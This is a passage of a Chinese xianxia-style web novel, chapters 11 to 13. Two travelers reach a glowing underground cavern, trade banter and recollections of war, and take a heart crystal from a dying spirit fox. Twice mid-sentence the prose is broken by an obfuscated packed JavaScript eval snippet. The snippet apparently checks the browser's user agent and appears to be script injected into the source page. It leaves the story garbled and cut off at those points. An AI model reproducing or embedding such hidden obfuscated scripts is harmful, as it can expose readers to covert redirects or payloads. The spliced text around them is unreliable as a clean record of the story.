察觉到旁边坐着的身影没有动,李棋正准备催他,突然听他道:“抱歉,小棋儿,让你替我承受了这么多痛苦。” 李棋一愣,好一会儿才反应过来这句话的意思。 “舍命救你也是为了小灵的期待和师父的嘱咐,你不必太自责。” 邹杲沉默着无法言语。 顿了顿,李棋故作轻松,玩笑又说,“这一路走过来,你欠我的多了,等你好了,你再一起报答我就是了。” 邹杲终于吭声了,“好。” 他也跟李棋开起玩笑来,“尽管小棋儿你是女子身,只要你愿意,你依旧是我亲密无间的贤弟,血肉至亲。以后有我一口肉吃,就一定有你一碗汤喝。” 听到他后面那句话,李棋真的是气笑了。 “邹杲,你能不能要点脸,你吃肉我喝汤,你也好意思说出口。” 邹杲的心情也缓和一些,“你我兄弟,有什么不好意思说出口的。” 李棋此刻难得的轻松,笑着骂了他一句,“谁要和你做兄弟,脸皮真厚,滚你的,真要义结金兰,也该你做我姐妹。” 邹杲倒是不觉有他,“也可。” 李棋无语,“你真是……我都不知道该说你什么好了。” 随即又催促他,“时间紧急,赶紧走吧,我都遭了这么多罪了,可不能让你死在路上,让我白受了罪。” “不会让你白受罪的。”邹杲失笑说着,抓着她的手,将自己的衣角又递到她手里。 两人又继续往前爬。 黑暗里邹杲的表情很复杂,也许他可以赌一把,万一他的小公主一如当年那般天真赤城呢。 可万一赌输了…… 11. 无尽卷·第十一章 11 两人在黑暗中不知道又爬了多久,李棋的伤口再次有了要裂开的迹象,她咬牙没说,只继续爬。 邹杲闻到血腥味,也没挑明,只默默在前面带路,尽量把甬道中间的石子都移开,避免李棋再不小心撞上去。 过去了好久好久,两人又累又饿,几乎仅凭毅力在重复爬行的动作,终于,也看到了一丝光亮。 只是,这并不是常见的太阳光亮,而是一些植物和动物发出来的诡异的荧光。 甬道的尽头,是一个宽阔的地下世界,这里的植物有九成都在发光,几乎都是世人闻所未闻的。 流水声很响,不远处,一条瀑布从空中倾泻而下,明明离得很远,两人都感受到了扑面而来的寒气。 下面,无数熟悉的鱼儿在水中嬉戏,突然,一只小小的白色动物从水里冲出来,嘴里还含着一条小鱼,还不等他们看清,那小家伙便消失在灌木丛中。 “是灵狐!”李棋兴奋极了。 邹杲也兴奋,但他却打起哈欠。 “小棋儿,我可能得睡一会儿了。”他话音刚落,靠着石壁便失去了意识。 李棋一惊,连忙上前摸他的脉搏,确定他只是单纯的疲惫,才松了口气。 看着熟睡的邹杲,李棋缓缓伸出手。 邹杲此刻狼狈不已,他们的披风早就不知所踪,邹杲身上那华美的紫色衣袍也破烂不堪,还沾了不少泥土,比乞丐好不到哪里去。 他头发也乱糟糟的,用一条已经看不出原本颜色的布条束着。应该是在李棋闭目养神时弄的。 除了这些,邹杲还长了一圈胡茬。 不过,留有胡茬的邹杲也并不丑,相反,反倒比平时的他更像一个武将了。 因为长久没有吃饭喝水,他的嘴巴有些干,还有些起皮。 他不知道梦到了什么,皱着眉,李棋悬在他脸上的手很想摸一摸,替他抚平。 但是良久,她的手也没有放下去。 李棋长长叹了口气,恨铁不成钢收回了右手,抱着左臂缓缓起身,准备去找枯木,先生一堆火。 她身上的衣服也是湿的,昏迷时没有被冻死过去,都算她内力深厚,且运气不错。 这里虽然冰寒,但好在枯木不少。 就在洞口附近的两边,她就找到了许多枯木,还有一点点干草。 幸好她出玄林前就有意识在左边小腿上藏了一把匕首,不然,这火怕是生不起来。 她取出匕首,用匕首在石壁上大力刮擦了许久,终于擦出火花,把火生了起来。 火燃起来后,她将邹杲的外袍脱下来放在火边烤着,又去抓了两条鱼,也顾不上好不好吃,烤熟后,先大口吃下充饥。 饥饿感消失,她又烤了两条,烤好后放在火边石块上热着,这是给邹杲留的。 之后,她又检查了腰包里的物品。 她这腰包是娘亲送她的十九岁生辰礼之一,皮革制作的,不但外表好看,里面也别有一番天地,存放在里面的东西不但没有遗失,更没有损坏。 九龙神鞭缠在腰上实在硌得慌,也不方便拿取。 她将腰包好好规划收拾了一番,勉强将一半的九龙神鞭塞了进去,剩余的一半,她缠到腰带和腰包上,还将鞭把藏到了左腰侧,非常方便拿取。 她很满意。 做完这些,邹杲的衣服也差不多干了。 邹杲睡得很熟,毕竟是她之后的妹夫,李棋也不好抱着邹杲帮他穿衣服,只盖在他身上。 之后,她也没有贸然去寻找灵狐,而是坐在邹杲身边发呆。 很奇怪,明明一开始她只是被邹杲的外表吸引,明明这一路都是她为了邹杲在拼死拼活,但不知为何,她反而更放不下邹杲。 她总有种邹杲离不开她、离开她必死无疑的想法,哪怕明明知道邹杲非同一般、深不可测。 她嘴上说得再冠冕堂皇,却就是控制不住自己的举动。 这不,坐着坐着,她就靠到邹杲身上,调整到一个舒服的姿势后,更是不知不觉中靠着邹杲睡了过去。 邹杲穿得很少,但是因为‘无忧’的毒性,他的身体不但不冰冷,还非常暖和。 一时,她也忘了现在的处境,靠在邹杲身上睡得很熟。 这一觉,两人都睡了很久。 邹杲比李棋先醒来,看到依赖靠在自己身上熟睡的李棋,邹杲心中暖洋洋的。 “萧绡,”邹杲轻声喊着,缓缓抬起右手,轻柔摸了摸李棋的脸。 邹杲只喊了这一声,良久没有下文。 直到,李棋感觉到冷,在睡梦中抽搐了一下,并且往他怀中靠了靠,他才反应过来,将身上的衣服盖到自己和李棋身上。 他就这么抱着李棋,等李棋再次熟睡,才拿起面前放在火堆旁热着的烤鱼,不急不缓吃了起来。 这鱼不算大,对于饿了好久的他来说,两条远远不够饱腹,不过,他却也只吃了其中一条。 又睡了一觉,等小棋儿醒来,也该饿了。邹杲如是想。 李棋又睡了差不多半个时辰。 见她有要醒来的趋势,邹杲连忙装睡。 醒来看到盖住自己和邹杲的衣服的瞬间,李棋有些心虚。 她屏气凝神,小心翼翼起身,生怕惊动了邹杲。 发现邹杲还在睡觉,她试探性伸出手,本来是要探邹杲的鼻息,确定他是否真的在睡觉。 但是她的手有自己的想法,探着探着,就磨蹭到邹杲的唇上。 邹杲应该是吃过东西了,嘴唇有了血色,也没有那么干燥了。 摸起来,手感还挺好。 正在装睡的邹杲也是一惊,他微微张嘴,正要再捉弄一下李棋,突然的张嘴却让李棋一惊,连忙将手缩了回去。 两人都是练武之人,李棋还是名副其实的医者,在邹杲愣怔时,她便意识到,邹杲是在装睡。 瞬间,李棋人都傻了,比小时候不小心打碎师父费劲心力才终于研究出的药物被师父抓包时还要慌乱。 李棋慌乱站起来,“我,你、你别误会,我只是在检查你的状况,你再睡会,我去帮你找灵狐。” 此地无银三百两的话都没说全,她便转身跑了。 这里的空间虽然大,却相对空旷,四周的植被也相对矮小,李棋虽然走开了,却也无处躲藏。 看着李棋慌乱、还假装很忙很镇定、四处探索的背影,邹杲脸上是忍不住的笑意。 他心情愉悦,起身将破烂不堪的衣服穿好,看着已经快烤焦的鱼,想了想,他三两下给吃了。 然后,又起身去重新去抓了几条,拿过来烤上。 * 慌乱过后,李棋冷静下来,认真查探起来。 现在不但得找灵狐泪,还得找到离开的路。 来时的路肯定不行,不说其他,他们刚进入时,是一路快速滚下来,也就是说道路是呈下坡趋势的,而且很陡峭。 刚刚又发生了雪崩,来时的路不知道得堵成什么样,原路返回完全是痴人说梦。 这里虽然空旷,但是她大致走了走,发现这里是真的不小,跟个缩小版的森林似的,有深有浅,很多地方,不费点力,她都去不了。 她转了很久,差不多转遍了,都没有看到灵狐,也许是躲起来了,她虽不甘心,却也只好原路返回。 * 越靠近邹杲,李棋的步伐越缓慢,这种不明不白的关系,让李棋有些不知道该如何面对邹杲。 邹杲却像个没事人一样,笑着舞了舞手里的鱼,骄傲道:“小棋儿你回来了,正好,鱼也快烤好了。” 原本,李棋是很纠结的,但是,看着邹杲脸上仿佛什么也没有发生,一如既往不着调的笑容,她瞬间就想通了。 装傻,能应对很多场面。 邹杲之前还说想和她做兄弟,那她就拿他当兄弟好了。 兄弟之间有肢体接触很正常,开开玩笑也很正常。 她也不会真正对邹杲做什么,顶多占他点小便宜,只要不过线就好。 这样,等到了虚无岛,无论小灵是否就是邹杲要找的人,无论小灵是否想要邹杲,她作为小灵的姐姐,都还有退路。 只要不越过那条线,只要忍住不扒了邹杲的衣服,她就还是小灵的好姐姐。 何况,这一路还长,离开冰原后,他们会遇到很多人,比邹杲帅的肯定也不少。 到时候,她自然就不会再惦记邹杲了。 这样想着,李棋很快说服了自己。 很卑劣,但她似乎就是这样卑劣的人。 勉强给自己洗脑后,她感觉整个人都轻松了不少,乐呵呵、大咧咧在他身边坐了下来。 “还要多久?肚子饿了。” 邹杲凝神注目盯着她看了好一会儿,才恢复笑意盈盈的模样,回答道:“很快。” 他又问:“小棋儿收获如何?找到灵狐了吗?” 李棋摇头,“暂时没有。” 李棋扭头笑着盯着他,挑眉又道:“怕吗?过了这一个关,还有下一道坎,你想活下来,还有得折腾。” 邹杲干笑两声,没有说话。 李棋却不愿放过他,又道:“要不,你做好最坏的打算,别想太多,把每一天都当做最后一天活。” 李棋都做好了邹杲依然不搭茬的准备,谁料,邹杲道:“早在我决定跟随陛下上战场那天起,每天便都是最后一天。” 她一怔,邹杲看向她,却问道:“小棋儿还想知道我的过往吗?” 邹杲将手里鱼翻了个面,他玩笑道:“现在无事,我给你仔细讲讲我的过往,如何?” 李棋不说话,他笑着补充又说,“免得我真死在路上,你要给我写墓志铭的时候,无从下手。” 这话很不吉利,李棋想让他收回,但终究没有说出口。 这时,也听邹杲又道:“我本名姜茭,这你知道。但我的生辰籍贯,你肯定不知道。我出生在九月初九重阳节那天,信阳人氏,仔细算起来,还差三个多月,我才二十三岁。” “我第一次杀人是在我十四岁生辰的当天,是我进入军营的第二年。我和三皇子一起,陛下亲自教导。但哪怕见到了不少生死,真要动手杀人,我还有阿瑅都还是有些下不去手的。” “因为有阿瑅作陪,我也拖延了很多时日,和他一起,前后磨蹭了近半月,始终不敢对那人动刀,哪怕知道那人是背叛我大嬴的叛徒,哪怕知道他导致了数千名将士枉死、数万百姓惨死,我们还是下不了手。” “不过,陛下也并没有责备我们什么,只带我们去看了因为这个叛徒泄露军情,而尸骸遍野的城池。我知晓陛下的本意,但看着遍地被啃食风化后的白骨,看着流离失所、家破人亡的残存者,我还是想到了她。” 说到这,邹杲从袖带中摸出那对双鱼吊坠,摩挲着,“虽然知道,她的死亡是因为大嬴、因为陛下想要收复疆土的决定。” “但我无法也不敢仇恨陛下什么,于是,我将一切的过错归咎到那名死囚身上,我站在破败的城墙上,亲手斩去了他的头颅。” “十四岁的我力气不算小了,但我故意没给他痛快,我砍了他三刀,让他痛苦挣扎了好久。” 李棋欲言又止。 她本来没想和邹杲说这些沉重的话题的。 她也想不通,想不通邹杲为何要说这些,是单纯想让人知道他的过往,还是想震慑她? 不等她说话,邹杲又道:“事后,我也做了很久的噩梦。我记得非常清楚,在梦中,接连好几日,被我削去头颅都变成了我自己,以及若干我所在意的人。” “几日后,陛下便带着我们真正上了战场。那时,我才知道,真正的战场,远比陛下之前让我们看到的更残酷,不论对错、不论原由,立场不同,便只能你死我活。” “那之后,我也不再惧怕杀人,只想早点杀尽拦路的人,早点助陛下收复大嬴的土地,早点结束战争。” 李棋听得心里五味杂陈,不太想听下去了,便出言打断了他,“你已经做到了。” “嗯。”邹杲勉强笑了笑,那笑容,在李棋看来很是悲凉,他道,“我是做到了。” 看似洒脱的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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然而,邹杲说出并不是李棋想听的话,甚至和李棋想的相差了十万八千里。 他也顿了顿,然后笑着反问:“小棋儿为何沉默不语?可是在替我心疼钱财?” 不等回答,他又道:“小棋儿放心,跟在陛下身旁,替他卖命这么久,别的没有,钱财是我最不缺的。” “只要小棋儿你想,每日换三套,十年不重样,我都供得起的。” 他笑道,“无论陛下如何看我,本王都是他亲封的王爷。” 李棋敷衍笑笑,“呵呵,那真是谢谢王爷您了。” “不客气!” 邹杲郑重其事道,“严格来说,我这条命是小棋儿你救回来的,四舍五入,我都是小棋儿你的人了,无论小棋儿想做什么,从我身上得到什么,都是应该的。” 后面几句话有点暧昧,李棋心中却是没有太多波澜了。 娘亲说得果然没错,男人都一样,惯会用感情拿捏女子,更有甚者,还会骗人骗财,然后果断抽身,将女子置入万劫不复之地。 不过,李棋那么多话本也不是白看的,不管能不能,只要她想,她都要努力也将男人玩弄于手掌之间。 “是吗?” 李棋故意停顿,把玩着手里的木棍好一会儿,才抬头看着邹杲,玩味笑道:“不过,你可是我妹夫,你的人,我自然是不感兴趣。” 见邹杲语塞欲言又止,李棋心中很是爽快,又说:“你若真想报恩,便把你最不缺的钱财准备好,等每次我出嫁时,你都来给我添一份嫁妆吧。” “嫁妆?还每次?”邹杲吃鱼的动作一顿,整个人都呆滞了片刻,才哼笑问,“小棋儿你打算嫁几次?” 李棋无辜点头,这才理所当然回答道:“这就不好说了,遇到喜欢的,谁能忍住不将其带回家长相厮守呢。” “有王爷的钱财做支撑,我后宫中的男人就更不能少了不是,王爷您所呢?” 邹杲咬着牙笑了笑,没说话,也没反驳或肯定。 李棋只觉爽极,还不由畅想了一下俊男靓女围绕她求怜爱的画面,只是想想,李棋就感觉骨头都快酥麻了。 若真是能过上这样的生活,一个邹杲又算得了什么。 看着李棋脸上抑制不住的笑容,邹杲真的是快把牙咬碎了,但也自知理亏。 安静好一会儿,邹杲才又笑着打破沉默,“小棋儿为何突然说起婚嫁之事,是觉得累了,不想和我一起仗剑走天下了,还是已经有了想嫁的人了?” 李棋似是而非答道,“我本就无法仗剑走天下。” 在邹杲疑惑时,只见她抖机灵露出腰包里的鞭子,嬉笑道:“我的武器不是剑,是九龙神鞭!” 邹杲一愣,而后无奈好笑,“英姿飒爽又古灵精怪,幸好小棋儿你鲜少出入江湖,不然得勾走多少良家少男的心神啊。” 李棋大口吃着鱼,清了清嗓子,模仿着男人的口吻无辜道:“我天生丽质,他们爱慕我,非要贴上来伺候我,我能有什么办法?难道,要我杀了他们彻底断绝他们的念想吗?可他们又何其无辜呢。” 好一个装模作样的伪君子,说完,不等邹杲搭茬,李棋自己先笑得不能自已。 “好自大好搞笑,哈哈哈,之前看的时候就觉得这话又纯又笨又自以为是,如今自己这么一套用,咦……” 她的嫌弃之情溢于言表,邹杲也反应过来,不由好笑。 李棋则又看向邹杲,玩心大起,“快快快,你用本王或者哥哥作为自称说句恶心的话我听听。” 邹杲知道她没事就爱看点话本子,难得她喜欢,也乐意陪她玩。 思虑一二,他煞有其事用手里的鱼指着李棋,“你想听本王说什么?本王错了,只要你回心转意,再叫本王一声好哥哥,本王就把命都给你吗?” 看着邹杲一本正经的模样,李棋大笑不止。 李棋大笑着,对邹杲竖起大拇指,“想不到啊,王爷你看的话本不比我少,甚至比我看过的更加精彩。” 邹杲嗯哼一声,也不说话,只颇为得意轻抬了下下颌,细嚼慢咽吃起手中的鱼肉。 这一刻,两人难得的放松。 但是,并没有持续太久,鱼还没吃完,突然,一阵凄厉的叫声从远处传来,很是微弱。 两人都是一惊,瞬间警惕起来。 李棋看向邹杲,轻挑眉毛,“跟上去看看,说不定是灵狐。” 邹杲点头,拿着鱼跟上。 12. 无尽卷·第十二章 12 邹杲脚始终是被一块大石头压了很久,速度远远追不上李棋,李棋怕这微弱的声音转瞬即逝、失去方向,也顾不得等他,只先行一步。 她跑得很快,可是,她都跑到这个巨大的空旷空间的尽头了,还是只听叫声,不见灵狐的身影,声音倒是越来越大、越来越近了。 * 李棋看着面前的石壁,又贴上去仔细探听,才终于确定,声音就是从石壁后传来的。 这后面,肯定别有洞天。 因为肩膀上的伤,李棋左手抬不起来,右手又拿着没吃完的鱼,她用脚扒了几下下方的矮灌丛又使不上劲,她索性三两口将鱼啃完,把棍子一扔,便跪下去撅着屁股用手在声音传来的方位一阵扒拉。 一瘸一拐终于赶过来的邹杲见此欲言又止,几次想出声提醒她慢点,但最终还是没出声,只默默等在一旁。 李棋扒着石壁四周的植被找啊找,皇天不负有心人,终于,让她在右边的一丛矮灌下看到了一个小小的洞口。 洞口很小,不过她三指宽,墙壁也不是很厚,差不多三四寸的样子,从小洞口看过去,能看到对面更加明亮的荧光,只是对面也被灌木挡住,看不太清楚。 她更加确定了自己的判断,这里面,多半就是灵狐的洞穴了。 贴近小洞口,里面的惨叫声更凌厉、更清晰,这也掩护了李棋。 “找到了,找到了。”李棋回过头,兴冲冲朝邹杲招手。 邹杲也激动,压低声音问:“就在后面?” 李棋连连点头,又往旁边挪了点,将绝佳的位置让给他。 邹杲有瞬间的犹豫和嫌弃,但毕竟事关他的性命,他还是以李棋同样的姿势,透过那狭小的孔洞观察起对面的情况来。 李棋将他的反应尽收眼底,努力憋着没笑出声,等邹杲观察完回过头来,她连忙伸出左腿、微撩起衣摆,露出小腿上的匕首,同时朝邹杲伸出手。 这回儿,邹杲倒是没有任何犹豫,先将手中的烤鱼递给她,而后取出她绑在腿上的匕首,拿着匕首任劳任怨开始打洞。 “你鱼还吃不?”李棋小声问他。 邹杲动作不停,看也没看,“不吃了。” “行。”李棋一口咬住邹杲只吃了两口的烤鱼,腾出手从腰包里翻出一瓶有腐蚀作用的化铁水递给邹杲,“洒在墙上再挖,注意点,别弄到手上,烧起来可是比火还快。” 见邹杲凝重接过,她才没再管。 她耳朵贴在石壁上,一边吃鱼,一边听对面的动静。 灵狐个子虽然小,叫声却不小。 它们似乎做什么隆重且亢奋的事,声音听起来非常兴奋,但其中,也夹杂着一强一弱两道过于凄厉的叫声。 难道是在以多欺少? 要不是那洞口所在的位置实在低矮,李棋都想扒开邹杲,再扒开对面的灌木丛,仔细看看它们到底在做什么。 邹杲的进度不慢,奈何墙太厚,工具也太落后。 等邹杲打出一个足够他们爬过去的洞时,里面的动静已经小了很多,几乎快听不到了。 邹杲将剩下的化铁水盖好递给她,道:“我先去看看。” “要不还是我去,” 李棋话没说完,邹杲已经把把头探了过去。 邹杲一个大男人就这么撅着屁股卡在低矮狭小的洞里,莫名的滑稽。 李棋一边好笑,一边又担心扑空,她这瓶化铁水造价昂贵,要是白白浪费,那可就亏大了。 “怎么样?里面是灵狐的老巢吧?应该没跑光吧?”李棋急切问着,直接丢掉了手里留给邹杲的鱼头。 “是,没跑光。” 眼前的景象很震撼,这是邹杲第一次见到灵狐,也是他第一次见到这么多灵狐。 数量真的非常多,它们都在水面中间的大石头上,这是一块高矮不一的大石头,因为灵狐长期的活动,磨出了一层又一层平坦的石面。 一只强壮的灵狐站在最上面,无数灵狐围在四周,围了一圈又一圈。 它们像是在朝拜它们的王,王的脚边还有一只奄奄一息的大灵狐,和一只被大灵狐护在怀中、应该才刚断奶的小灵狐。 小灵狐洁白的身体上也都是鲜血,也不知道是它自己的,还是大灵狐的。 王踩了奄奄一息的大灵狐一脚,在众多灵狐的亢奋声中,它看向被大灵狐护着的小灵狐,似乎要将其抓出来枭首示众。 现在是最佳的抓捕时机,只匆匆看了一眼,邹杲就退了出来,把匕首还给李棋,他道:“你先过去,我断后。” 又说:“小心点,里面有上百只灵狐聚集在一起举行仪式,是我们浑水摸鱼的好时机。” “你自己也小心点。”李棋点点头,也不多说,叮嘱一声后,顺着洞爬了过去。 眼前的景象同样让她震撼,数百只雪白的灵狐,连石壁都在发光的洞天福地,这里面的植物比外面的更加繁多,光芒也更加耀眼。 并且,这些灵狐的举动也太像人了吧。 邹杲搬来一块大石头,准备爬过去后,就堵住洞口,然后来个瓮中捉鳖。 见李棋就窝在洞口处不动了,邹杲小声提醒:“往旁边一点。” “哦哦。”李棋这才反应过来,往旁边的灌木丛爬了一些。 也这是这一动,惊动了灵狐们。 出乎意料的,这些灵狐却没有因此受到惊吓而四下散开。 只见,为首那只灵狐将手中小灵狐往地上一扔,面向他们的方向叫嚣着,它脚小的若干灵狐便气势汹汹朝他们的方向扑了过来。 其勇猛果决,给李棋一种面对的是虎狼之师的错觉,她一时有些犹豫。 于是,倒退着将洞口堵住的邹杲才转过身探出脑袋,就看到了僵硬、不敢乱动的李棋,以及面前把他们团团围住的几百只灵狐。 “它们好像不怕我们。” 李棋有些讪讪。 灵狐虽然小,但是架不住数量多,他们就两个人,还都有伤在身,寡不敌众,一个灵狐挠他们一爪子,就足够他们受的。 李棋小声又问:“洞口你没堵死吧,要不我们先退回去?” “完全堵死了。”邹杲耸肩说着提着她站起来。 接过她手里的匕首,邹杲杀伐果断指挥,“擒贼先擒王,你负责小喽啰,我来擒王。” 他说罢,施展轻功,顺着石壁和矮灌,一跃冲出包围,只剩下李棋被几百只灵狐团团围住。 李棋咬牙切齿,恨不得冲上去给邹杲几下子。 “邹杲,你最好快点擒住它们的王。” 李棋咬牙切齿说着,抽出鞭子,甩得震天响,还真震慑住了这群气势汹汹的小东西。 “放心,很快,” 然而,话音未落,他就被隐藏在石壁上的洞窟中,接连朝他飞扑而去的灵狐爬了一身,不但连脸都看不到,还被压着扑到在中间的石台上,险些掉进水池中。 看着这场景,李棋一时不知道该不该笑,最终,她还是遵从本心,放肆大笑起来。 “是挺快,正打着呢,倒头就睡。” 被灵狐爬了一身的邹杲本就面子挂不住,李棋还笑他,好几只灵狐还趁乱在他的俊脸上抓出了好几道显眼的血痕,从疼痛感来看,一时半会估计还好不了。 “不准笑!一时大意,我很厉害的!” 邹杲低吼着,反手撑着石台借力从地上跳起来,他三两下抓下脸上的灵狐扔到水里,然后施展轻功,直接在石壁上横着走,其速度之快,肉眼都只能看到残影,他身上挂着的灵狐自然也都被抖落了个七七八八。 不止李棋,一众灵狐都看得傻眼,也就是在这时,在大家没反应过来的时候,邹杲从后方飞扑而出,又快又准抓住中间高台之上的灵狐王。 在邹杲抓住灵狐王的瞬间,原本凶神恶煞的灵狐们都怂了,不等李棋出手,一个个四散开来,争先恐后藏进四面墙壁上的洞穴里。 邹杲笑意盈盈抓着灵狐王来到李棋身边,冲李棋得意挑眉,“看到了吧,我认真起来,还是很厉害的。” “厉、噗……厉害!” 看着邹杲脸上的几道抓痕,李棋实在没忍住笑出声,在邹杲赤裸裸的眼神恐吓下,李棋忍了又忍,还是没忍住,索性放声大笑。 邹杲的脸很阴沉,李棋笑得很开怀。 笑够了,李棋才将鞭子捆到腰上,两步走到邹杲面前。 她伸手捏了捏邹杲手里张牙舞爪的灵狐王,有点不忍心啊。 “真的要挖开它的心脏取灵狐泪吗?这小玩意虽然凶,但长得是真可爱啊。” 是的,灵狐泪不是灵狐的眼泪,而是灵狐心脏之中一块类似泪珠的小结晶。 “你不忍心杀它?”邹杲撅着嘴巴委屈道,“那小棋儿你就忍心看着我去死吗?难道,在小棋儿你眼里,我还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你活不成了。”邹杲扫了一眼就直接给大灵狐判了死刑,大灵狐看向被邹杲大手挡在外边的小灵狐,眼中居然有泪水流出。 静默一瞬,邹杲将想要去到大灵狐身边的小灵狐抓在手中,看向大灵狐道:“把你的心脏给我,我帮你照顾你的孩子,不再祸害你的其他子民。” 他说到心脏,握着小灵狐的手还伸出食指指了指灵狐的胸腔。 李棋看得目瞪口呆,也是受到‘无忧’影响的吗?邹杲怎么还神志不清了呢,居然和一只动物交谈起来。 出乎李棋意料的,重复几遍后,那只灵狐好像听懂了。 只见那只灵狐细细打量了一番邹杲,良久,它缓缓伸出爪子,邹杲也放出手中小灵狐,任由其去到它身边。 一大一小两只灵狐都在叫,小的明显是慌乱,大的却很是复杂,像是人临终前对后代的叮嘱一般。 小奶狐的叫声一点点变为悲痛的呜呜,它想抓住大灵狐的爪子,大灵狐却轻而易举,只用一只爪子便遮住挣扎不止的小奶狐的眼睛,同时,另一只爪子伸向自己的胸膛。 它没有丝毫没有犹豫,用它锋利的爪子划开了它的胸腔,而后看向邹杲。 那眼神,像是在说:你要什么,自己来取吧。 同时,它那只划破胸膛的爪子朝邹杲挥舞,邹杲将手凑近,它死死抓住邹杲的手指,像是在签订契约一般,抓破了邹杲手指上的皮肉,流出一滴血来。 李棋被惊得目瞪口呆。 邹杲对它承诺道:“你放心去吧,你孩子我会帮你养大,等它拥有独立生存的能力,它若是想,我会把它送回这里生活。” 灵狐叫了几声,把呜呜哭咽的小奶狐推向邹杲。 邹杲把手里的灵狐王放了,温柔将小奶狐捧到手中,因为小奶狐不断挣扎,他只能双手将它捂住。 邹杲看了眼喘息吐血的大灵狐便收回视线,捧着小灵狐转身看向李棋,淡淡笑道:“小棋儿,给它个痛快吧。” 李棋太过震撼,一时说不出话来,只愣愣点头。 看着痛不欲生、仅剩一口气残存,视线却扔不放心追随着邹杲手中后代的灵狐,李棋莫名悲伤沉重,这就是父母对子女的爱吗? 那师父把她养大,对她也是有些感情在的吧。 13. 无尽卷·第十三章 13 看着大灵狐痛苦虚弱的模样,再听着小奶狐悲切凄厉的哀叫,李棋心一横,一针下去,给了它一个痛快。 她完全投入,面无表情动作迅速熟练,很快用药水将银针消毒,稳稳刨开它小巧的心脏,取出一颗米粒大小的晶体。 晶体太小,她只能用两银针轻挑着放进另一瓶药水里。 将药水收好,她又小心仔细地用银针帮它把内脏归位,连皮毛都用一根银针帮它串联合上,这才告诉邹杲可以了。 邹杲点头,而后看向那只探出头观望的新任灵狐王。 灵狐王也看着邹杲,对峙良久,它小心翼翼探出头来,又吱吱叫来几只灵狐。 它们试探着,走到高台之上,见邹杲和李棋没有要对它们出手的意思,才小心翼翼抬起已经死去的灵狐的身体,将它放进了它的洞穴。 这一习性,师父给的册子里提到过,灵狐是相对独立的群居动物,每只灵狐成年后,无论雌雄,都会自立为家,尽可能寻找牢固岩壁在上面开凿出一个洞穴,这既是它们活着时的洞府,也是死后的埋骨地。 李棋将浸泡着灵狐泪的陶瓷瓶递给邹杲,“灵狐泪要在寒泉里泡一炷香后再吃,师父说灵狐就生活在寒泉周围。” 邹杲点点头,示意了下手里还在挣扎的小灵狐,无奈笑道:“实在腾不出手,劳烦小棋儿你再替我保管片刻吧。” 李棋看了眼,点点头,顺手就放到了腰包里。 她看向高台之下的水池,“但这水不够冰,定然不是师父说的寒泉,要不,你问问这些它。” 李棋也是死马当活马医了,居然将希望寄托于邹杲能和动物交流。 它是指现任灵狐王,说来奇怪,她对它们说话,它们不会有太大反应。 但面对邹杲,也不知道是不是刚刚邹杲抓了灵狐王的缘故,它们现在对着邹杲都带着一种畏惧感,这种畏惧让它们不得不对邹杲俯首称臣。 然后,李棋却没法从邹杲身上发现任何可疑之处,要不是邹杲就是活生生的人,要不李棋从小到大也没真的见到过妖怪,她都要怀疑邹杲是妖精化形而来了。 邹杲哼哼两声,指了指高台下的水面,又晃了晃手中的小灵狐,灵狐王反应片刻,很快从水里叼出一只足有两指宽的鱼来到邹杲面前。 它跟进贡一样,双手举着,耐心等待邹杲收下。 察觉到李棋震惊到难以言表的神色,邹杲颇为得意,慢悠悠坐下来,这才接过灵狐王奉上的鱼。 灵狐王似乎很想走,但邹杲没有发话,它也不敢走。 邹杲先没管它,只拿着小鱼耐心递到小奶狐嘴边,但小奶狐好几次都躲开了,邹杲也不惯着它,一次接一次重复递到它嘴边的动作。 最终,还是小奶狐妥协,张嘴咬了一口,邹杲才停下动作,转而看向灵狐王,“你们最喜欢的寒泉在何处?” 灵狐王看着邹杲,反应了一会儿,像是终于明白了,它吱吱叫着跃上了石壁,跑向角落最大那个瀑布之下。 李棋和邹杲跟着转身,仔细一看,才发现,角落里,足有四五丈高的瀑布后,还隐藏有一个不小的洞口。 李棋施展轻功到侧边一看,和他们来时的甬道差不多大小,只是长宽反了过来,这条甬道的高度完全够他们直立行走。 李棋很兴奋,连忙回到高台上,“这里和来的时候的甬道差不多大。邹杲,你快问问它顺着这个甬道是不是能出去。” 邹杲借着石壁上的小洞穴,躲开瀑布流下的水,几步从侧边进入其中,灵狐王也跳到他手臂上,吱哇叫着,似乎在提示什么。 这身法,真的漂亮,李棋不由惊叹出声。 听到李棋的声音,邹杲满意且得意的笑容根本压制不住。 见邹杲站定不动了,李棋还以为里面又有什么不得了的东西,“怎么了,里面有什么?”她担忧问着,也跟着进入瀑布之后的洞穴。 “暂时没看到什么。”邹杲收起笑容,认真答。 李棋不由得抱怨嘟哝,“什么都没看到?那你怎么一动不动,我还以为有什么不得了的。” 邹杲也反驳什么,低头便和攀附在他小臂上的灵狐王交谈起来,“从这里能出去吗?能你就像我这样点头。” 灵狐反应了一下,果然学着他的动作点头,简直神了。 “小棋儿,你去先探探路,免得这只狐狸没听懂我的意思,胡乱点头,害得我们白走一趟。” 李棋翻了个大大的白眼,很想冲他吼:你爬着费劲,我爬着就不费劲吗? 当然,这也并非邹杲偷奸耍滑,邹杲如今的情况最好不用内力,何况他的脚也还没好。 要真遇到点紧急情况,不等他返回来报信,说不定就因为内力暴乱而暴毙了。 李棋也知道这一点,所以她忍了,但不爽肯定是有的。 “等着。”咬牙切齿说完,她转身就爬了进去。 这回,不是漆黑一片,越往里走,亮光就越明显,和下面植物发出的荧光一样,寒气也越明显。 她爬了没多久,在一个拐弯处,就被眼前左边的洞穴吸引了。 洞穴不是很大,五六个邹杲那样高大的人站着就能把空间占完。 主要是它很美,发光的植物在四周透明的晶体的映衬下,异常漂亮,中间是一个冒着寒气的水池,水池上方有源源不断的水往下流,通过中间水池的转换,往下面流去,想来入口上方的瀑布的水就是从这里去的吧。 “邹杲!尊贵的王爷!能听到吗?” 李棋懒得爬回去了,加了内力,大声喊道,“听到就进来吧,它没有理解错你的话,寒泉就在里面!” “就来。” 她依稀听到了邹杲的回应,懒得再出去,研究起四周的透明晶体。 